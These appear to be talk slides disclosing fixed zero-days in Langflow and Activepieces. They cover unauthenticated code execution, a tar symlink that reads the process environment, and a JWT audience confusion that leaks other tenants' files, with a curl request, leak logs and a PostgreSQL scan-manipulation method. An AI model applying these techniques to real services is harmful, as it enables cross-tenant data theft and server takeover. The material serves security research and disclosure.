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Activepieces 22.4k 

n8n 190k 

Langflow 149k 

We’ve found 9 different zero-days in those platforms

Understanding of low-level details

can help you exploit vulnerabilities, even high-level ones



We started with Langflow

@router.post("/build_public_tmp/{flow_id}/flow")

async def build_public_tmp(

…

):

"""Build a public flow without requiring 

authentication.

This endpoint is specifically for public flows that 

don't require authentication.

…







Can we just send arbitrary code to the server?!

Hmm, yes

1. Copy the request

2. Change the Python code to whatever we want

3. The Langflow server runs our code!

Reported and fixed  

– CVE-2026-48519



.pdf, .docx, .pptx, .zip, .tar … → text



Parser Logic

if file_type in [pptx, docx, ...]:
parse(file)

else if file_type in [ZIP, TAR]:
extracted = extract_compressed(file)
for file_in_archive in extracted:
parse(file_in_archive)

The issue

TAR can contain a malicious Symlink

It can redirect the parser to parse arbitrary files, 

outside the archive



Exploit!

Step 1

Attacker uploads a tar file 
containing a symlink:

trip.docx -> /proc/1/environ

Step 2

Parser follows the symlink to 
/proc/1/environ on the Langflow

deployment.

File is parsed and inserted into the 
database.

Step 3

Attacker asks the chat:

“Give me superuser credentials”

Chat retrieves the secret from the 

database and returns it to the user.

Step 4

Attacker uses the secret to log in,

and execute code on the server







We’ve continued our research on Langflow, n8n and activepieces…



We’ve finished warming up… 

If we’ve lost you, this is a good time to get back on track





So, activepieces
● It is an open-source project

● It has a multi-tenant cloud offering

○ Compromise ⇒ Compromise all users of activepieces Cloud

● Users of applications built in Activepieces can upload files

● Downloading is done through signed URLs:

○ https://cloud.activepieces.com/api/v1/step-files/signed?token=eyJhbGcA4fFabF2e…

token is a signed JWT token 

File ID is encoded within the token itself



app.get('/signed', SignedFileRequest, async (request, reply) => {

file = getFileByToken(request.fileToken)

data = await getFileData({

fileId: file.id,

type: FileType.UPLOAD,

})

return reply.send(data)

})

function getFileByToken(fileToken: string): File {

decodedToken = await jwtUtils.decodeAndVerify<FileToken>({

jwt: fileToken,

key: await jwtUtils.getJwtSecret(),

})

return getFile({

fileId: decodedToken.fileId,

type: FileType.UPLOAD,

})

}

Audience check is missing here!

We can provide any signed JWT token

For example, authentication JWT tokens



function getFileByToken(fileToken: string): File {

decodedToken = await jwtUtils.decodeAndVerify<FileToken>({

jwt: fileToken,

key: await jwtUtils.getJwtSecret(),

})

return getFile({

fileId: decodedToken.fileId,

type: FileType.UPLOAD,

})

}

decodedToken is an authentication token

⇒ it doesn’t have a fileId field!

⇒ fileId is undefined

What the ORM does when it is called with:

getFile({

fileId: undefined,

type: UPLOAD,

}

?

Will it return a file? 

What file will it return? 

authentication token!



Auth tokens are accepted
instead of file tokens

ORM is called with:
fileId: undefined

type: UPLOAD

audience field
is not checked

ORM drops the id 
WHERE condition!

Instead of returning the file:

SELECT * FROM file WHERE type = 'UPLOAD' AND id = '<id_from_token>' LIMIT 1;

We get the file: 

SELECT * FROM file WHERE type = 'UPLOAD' LIMIT 1;

Which file will PostgreSQL return?

Let’s just try it!



* Host cloud.activepieces.com:443 was resolved.
* Connected to cloud.activepieces.com (104.21.83.205) port 443
> GET /api/v1/step-files/signed?token=eyJhbGciOiJIUzI1NiIsInR5cCI6… HTTP/2
> Host: cloud.activepieces.com
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< content-length: 106
< content-disposition: attachment; filename="invoice ■■■■■■■■■■■■■■■.PDF"
< connection: close
<
* Closing connection
........................................................................
........................................................................

$ curl -v 'https://cloud.activepieces.com/api/v1/step-files/signed?token=eyJhbGciOiJIUzI1NiIsInR5cCI6...'

● We’ve got a file from another tenant! 

● We tried running it again… Got the same file



[2026-04-09 17:12:05] Found -> ID: 0kzs■■■■■■■■■■■■■ | File: invoice ■■■■■■■■■■■■■■■.PDF
[2026-04-09 17:36:13] Found -> ID: xHhF■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■.bin
[2026-04-09 18:35:30] Found -> ID: OgqP■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■■■■■■.png
[2026-04-09 18:35:33] Found -> ID: SPq3■■■■■■■■■■■■■ | File: Purchase Order ■■■■■■■■■■■■■■■.PDF
[2026-04-09 19:34:50] Found -> ID: 4gFP■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■■■■■■.png
[2026-04-09 19:34:51] Found -> ID: U8ib■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■.pdf
[2026-04-09 20:35:08] Found -> ID: rpTm■■■■■■■■■■■■■ | File: id ■■■■■■.bin
[2026-04-09 21:34:15] Found -> ID: MmCn■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■.ics
[2026-04-09 21:34:28] Found -> ID: 49Bh■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■.bin
[2026-04-09 21:35:28] Found -> ID: 49Bh■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■■■■■■■.bin
[2026-04-09 22:34:51] Found -> ID: 8jEN■■■■■■■■■■■■■ | File: Invoice-■■■■■■■■■■■■■■■■■■■.pdf
[2026-04-09 23:50:15] Found -> ID: A5KA■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■■.png
[2026-04-09 23:52:19] Found -> ID: LXXe■■■■■■■■■■■■■ | File: Invoice Aug (■■■■■■■■■■■■■■■■■■).pdf
[2026-04-10 00:34:33] Found -> ID: 7Vof■■■■■■■■■■■■■ | File: Purchase ■■■■■■■■■■.PDF
[2026-04-10 01:33:51] Found -> ID: wLxb■■■■■■■■■■■■■ | File: ■■■■■■■■
[2026-04-10 01:34:07] Found -> ID: IhWM■■■■■■■■■■■■■ | File: Order ■■■■■■.PDF
[2026-04-10 02:33:24] Found -> ID: jks2■■■■■■■■■■■■■ | File: Invoice-■■■■■■■■■■■■■■.pdf
[2026-04-10 03:32:41] Found -> ID: OSyC■■■■■■■■■■■■■ | File: invoice-■■■■■■■■■■■■■■■■■■.pdf
[2026-04-10 03:32:56] Found -> ID: UG5b■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■.bin
[2026-04-10 04:33:15] Found -> ID: UMJo■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■■■■■■■.bin
[2026-04-10 05:33:35] Found -> ID: Gfyl■■■■■■■■■■■■■ | File: logos-■■■■■■■■■■■■■■■■■.png
[2026-04-10 06:33:54] Found -> ID: SRxD■■■■■■■■■■■■■ | File: Invoice Aug (■■■■■■■■■■■■■■■■■).pdf
[2026-04-10 07:33:13] Found -> ID: csyI■■■■■■■■■■■■■ | File: audio ■■■■■■■■■■■■■■■■■■■■■.webm
[2026-04-10 07:33:20] Found -> ID: YGCr■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■■■■■■■.webm
[2026-04-10 07:33:36] Found -> ID: 1fft■■■■■■■■■■■■■ | File: ■■■■■■■.bin
[2026-04-10 08:32:53] Found -> ID: J5X7■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■.txt
[2026-04-10 08:32:57] Found -> ID: KI7E■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■.webm
[2026-04-10 08:33:13] Found -> ID: hncl■■■■■■■■■■■■■ | File: details_■■■■■■■■■■■■■■■■■■■■■.docx
[2026-04-10 09:33:33] Found -> ID: aaum■■■■■■■■■■■■■ | File: audio_■■■■■■■■■■■■■■■■■■■■■.webm
[2026-04-10 10:33:52] Found -> ID: XdbQ■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■.webm
[2026-04-10 11:34:13] Found -> ID: Nmoo■■■■■■■■■■■■■ | File: ■■■■■■■■■■■■■■■■■■■■■.png

$ monitor_query.py --token 'eyJhbGciOiJIUzI1NiIsInR5cCI6...'



We’ve managed to leak tons of sensitive documents

We’re done, right?

However…



Leaking 2 files per 1 hour is nice

But can we do better?

Let’s dive deeper into PostgreSQL!



● The query asks, “Give me any file with type UPLOAD.”

○ PostgreSQL simply returns the first matched row

● How are rows matched?

○ The file table has an index on (type, created_at)

○ PostgreSQL indexes use B-tree

■ The upshot is: it’s ordered

○ Always returns the oldest UPLOAD

■ We always get the oldest uploaded file

SELECT * FROM file WHERE type = 'UPLOAD' LIMIT 1;



● And that is why we got a different file every hour –

○ There is an hourly Garbage Collection (GC) job that deletes old files

○ Our exploit returns a different file every hour!

SELECT * FROM file WHERE type = 'UPLOAD' LIMIT 1;

Index-based matching
(type, created_date)

index is ordered

PostgreSQL returns the 
first matched row Query returns the oldest UPLOAD

(A) (B)

• How can we affect what file gets returned?

○ We cannot affect (A); PostgreSQL will always return the first matched row

○ But  can we affect (B)? Convince PostgreSQL not to use the index!



Index scan
2 reads to find row in index

+ 1 read to read table
Overall - 3 reads

Reading table directly

(“sequential scan”)
Table read Overall - 1 read

● Idea: what if 100% of the rows were UPLOAD?

o In that case, any row in the table is viable

Conclusion:

If the table is mostly UPLOADs files, PostgreSQL will choose sequential scan

⇒ the file returned won’t necessarily be the oldest 

SELECT * FROM file WHERE type = 'UPLOAD' LIMIT 1;

● Indeed, if PostgreSQL decides using the index is "not worth it", it may use sequential scan instead

⅓ of the cost!



Validating our Hypothesis
● Let’s test our hypothesis using EXPLAIN.

● 1% of files are UPLOAD and the rest are SAMPLE_DATA:

● Add a bunch of UPLOADs so that the split is 50-50:

$ EXPLAIN SELECT * FROM file WHERE type = 'UPLOAD' LIMIT 1;
QUERY PLAN

----------------------------------------------------------------------------------------------------
Limit  (cost=0.42..3.33 rows=1 width=285)
->  Index Scan using idx_file_type_created_desc on file  (cost=0.42..2942.17 rows=1011 width=285)

Index Cond: ((type)::text = 'UPLOAD'::text)

$ EXPLAIN SELECT * FROM file WHERE type = 'UPLOAD' LIMIT 1;
QUERY PLAN

----------------------------------------------------------------------------------------------------
Limit  (cost=0.00..0.35 rows=1 width=286)
->  Seq Scan on file  (cost=0.00..34609.85 rows=100271 width=286)

Filter: ((type)::text = 'UPLOAD'::text)

By uploading many files, we cause the query to be sequential!



2. We managed to force it to use sequential scan

⇒ The row returned is the row that is physically first in the table

3. Now, how do use that for our advantage?

Idea:

○ By using uploading and deleting files, shape the table so that free rows will fall at the beginning

○ Then, new files will fall at the beginning

We implemented that, and got 1 file per minute, but to be honest, it didn’t work well

SELECT * FROM file WHERE type = 'UPLOAD' LIMIT 1;

To recap:

1. Our exploit reads the file returned by the following query:



● We want influence the 

order of the sequential scan

● Let’s ask AI!

This means:

if a sequential scan on file table is running (Query A),

our exploit query (Query B) will return whatever row Query A is at!

e.g. - every exploit run will yield a different file

file
table

Query A ▼

Query B ▲
(exploit)

Query B ▲
(exploit)

Query B ▲
(exploit)

Query B ▲
(exploit)

Query B ▲
(exploit)

Query B ▲
(exploit)



• Next step: Trigger it using Activepieces API

• However, no API that can trigger a sequential scan 

● The GC job runs every hour!

○ Look for all old files → delete them

● Is it a sequential scan though?

○ Flashback: We have an index on (type, created_at)

● Bad PostgreSQL! Don’t use the index!

SELECT * FROM file WHERE type = 'UPLOAD' AND created_at < 30 days ago;



● Mission: Convince PostgreSQL to not use index

• Just like before,

if the query is going to find many rows ⇒ sequential scan will be used

• Idea: many old UPLOAD rows

1. Create a million UPLOAD rows

2. Wait 30 days

3. Run the exploit during the GC job

● However, files will get GCed immediately

● We need a better solution…

• Can we avoid the index without creating a million old UPLOAD rows?

SELECT * FROM file WHERE type = 'UPLOAD' AND created_at < 30 days ago;

30 days GC 30 days GC 30 days GC



Lies, damned lies, and statistics

● How does PostgreSQL estimate the number of matching rows? STATISTICS

○ Keeps track of the distribution of each column independently. For example:

i. Insight 1: “50% of the rows are UPLOAD”

ii. Insight 2: “50% of the rows are created_at < 30 days ago”

○ How many rows are both UPLOAD AND created_at < 30 days ago?

○ PostgreSQL assumes independent variables - and simply multiplies them!

i. “50%×50% = 25% of rows are UPLOAD and created_at < 30 days ago“

● Conclusion: to avoid the index, convince PostgreSQL independently that: 

1. Many files are old (created_at < 30 days ago)

2. Many files are UPLOAD

● But if the intersection is zero, then GC never deletes anything 

SELECT * FROM file WHERE type = 'UPLOAD' AND created_at < 30 days ago;



● Create a million of SAMPLE_DATA files, wait 30 days →  many files are created_at < 30 days ago

● Create a million of UPLOAD files →  many files are UPLOAD

● Now PostgreSQL thinks:

○ “50% of the rows are UPLOAD” and

“50% of the rows are created_at < 30 days ago”

○ ⇒ “Aha! 25% of the rows are old UPLOADs!”

○ ⇒ “So many rows! I will use sequential scan for finding old UPLOAD files!”

● From now on - both the exploit query and the GC query uses sequential scans

Meaning: While the GC job is running, our exploit will return a different file every time!

synchronize_seqscans IS ON, BABY!

SELECT * FROM file WHERE type = 'UPLOAD' AND created_at < 30 days ago;

another file-type we can create
never gets GCed



To conclude, the exploit flow

Preparation

○ Create a million of SAMPLE_DATA files

○ Wait 30 days

○ Create a million of UPLOAD files

Attack

○ Every hour on :30 exactly, spam the signed URL route with a type-confused JWT

■ Each request yields a different random file from the table! 

30 days GC 1 hour GC 1 hour GC 1 hour GC 1 hour GC







Takeaway

Don’t stop at abstractions,

going one layer deeper can unlock new primitives.
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